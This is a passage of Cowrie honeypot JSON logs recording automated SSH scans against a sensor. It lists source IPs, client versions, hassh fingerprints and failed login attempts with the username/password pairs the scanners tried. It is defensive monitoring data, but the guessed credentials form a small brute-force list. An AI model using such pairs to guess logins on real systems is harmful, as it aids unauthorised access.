hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:30.089366Z","src_ip":"213.230.127.104","session":"ea97f348d4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:30.823833Z","src_ip":"213.230.127.104","session":"ea97f348d4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:32.001913Z","src_ip":"213.230.127.104","session":"ea97f348d4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":52716,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdff5321b96f","protocol":"ssh","message":"New connection: 186.246.14.196:52716 (159.203.135.109:22) [session: fdff5321b96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:32.918082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:32.930849Z","src_ip":"186.246.14.196","session":"fdff5321b96f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:33.090358Z","src_ip":"186.246.14.196","session":"fdff5321b96f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwe123!@#","message":"login attempt [test/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:33.721383Z","src_ip":"186.246.14.196","session":"fdff5321b96f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00140500068665,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:34.837465Z","src_ip":"186.55.200.230","session":"da0931489c7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:34.886437Z","src_ip":"186.246.14.196","session":"fdff5321b96f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":48378,"dst_ip":"10.17.0.5","dst_port":22,"session":"df09ebfc1db5","protocol":"ssh","message":"New connection: 89.190.156.8:48378 (10.17.0.5:22) [session: df09ebfc1db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:37.504836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:37.509950Z","src_ip":"89.190.156.8","session":"df09ebfc1db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:37.591896Z","src_ip":"89.190.156.8","session":"df09ebfc1db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"juan","password":"juan123","message":"login attempt [juan/juan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:37.948256Z","src_ip":"89.190.156.8","session":"df09ebfc1db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:39.033565Z","src_ip":"89.190.156.8","session":"df09ebfc1db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:49.564100Z","src_ip":"14.103.118.145","session":"65166cedfc7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53396,"dst_ip":"10.17.0.5","dst_port":22,"session":"29667d31c45a","protocol":"ssh","message":"New connection: 103.122.221.179:53396 (10.17.0.5:22) [session: 29667d31c45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:54.015928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:54.020073Z","src_ip":"103.122.221.179","session":"29667d31c45a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:54.274482Z","src_ip":"103.122.221.179","session":"29667d31c45a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scarlet","message":"login attempt [root/scarlet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:55.039065Z","src_ip":"103.122.221.179","session":"29667d31c45a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:56.304670Z","src_ip":"103.122.221.179","session":"29667d31c45a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":52680,"dst_ip":"10.17.0.5","dst_port":22,"session":"87fa4fa70306","protocol":"ssh","message":"New connection: 20.203.42.204:52680 (10.17.0.5:22) [session: 87fa4fa70306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:57.563229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:57.568796Z","src_ip":"20.203.42.204","session":"87fa4fa70306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:57.738698Z","src_ip":"20.203.42.204","session":"87fa4fa70306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shree","password":"shree","message":"login attempt [shree/shree] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:36:58.676864Z","src_ip":"20.203.42.204","session":"87fa4fa70306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:01.187984Z","src_ip":"20.203.42.204","session":"87fa4fa70306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":36274,"dst_ip":"10.17.0.5","dst_port":22,"session":"081c805ce7bc","protocol":"ssh","message":"New connection: 45.165.238.2:36274 (10.17.0.5:22) [session: 081c805ce7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:19.008711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:19.017794Z","src_ip":"45.165.238.2","session":"081c805ce7bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:19.149467Z","src_ip":"45.165.238.2","session":"081c805ce7bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":58030,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd8ebc55a23","protocol":"ssh","message":"New connection: 103.77.242.62:58030 (10.17.0.5:22) [session: 8dd8ebc55a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:19.294129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:19.302874Z","src_ip":"103.77.242.62","session":"8dd8ebc55a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:19.554086Z","src_ip":"103.77.242.62","session":"8dd8ebc55a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k9jt3d","message":"login attempt [root/k9jt3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:19.700659Z","src_ip":"45.165.238.2","session":"081c805ce7bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abigail","message":"login attempt [root/abigail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:20.304310Z","src_ip":"103.77.242.62","session":"8dd8ebc55a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:20.833362Z","src_ip":"45.165.238.2","session":"081c805ce7bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:21.556879Z","src_ip":"103.77.242.62","session":"8dd8ebc55a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":54768,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5817aabd2e2","protocol":"ssh","message":"New connection: 46.19.67.181:54768 (10.17.0.5:22) [session: a5817aabd2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:29.668296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:29.675891Z","src_ip":"46.19.67.181","session":"a5817aabd2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:29.794009Z","src_ip":"46.19.67.181","session":"a5817aabd2e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12061990","message":"login attempt [root/12061990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:30.305483Z","src_ip":"46.19.67.181","session":"a5817aabd2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:31.433968Z","src_ip":"46.19.67.181","session":"a5817aabd2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":51938,"dst_ip":"10.17.0.5","dst_port":22,"session":"5843015edadf","protocol":"ssh","message":"New connection: 62.133.62.83:51938 (10.17.0.5:22) [session: 5843015edadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:38.768453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:38.773315Z","src_ip":"62.133.62.83","session":"5843015edadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:38.852342Z","src_ip":"62.133.62.83","session":"5843015edadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18031985","message":"login attempt [root/18031985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:39.094342Z","src_ip":"62.133.62.83","session":"5843015edadf","protocol":"ssh"}
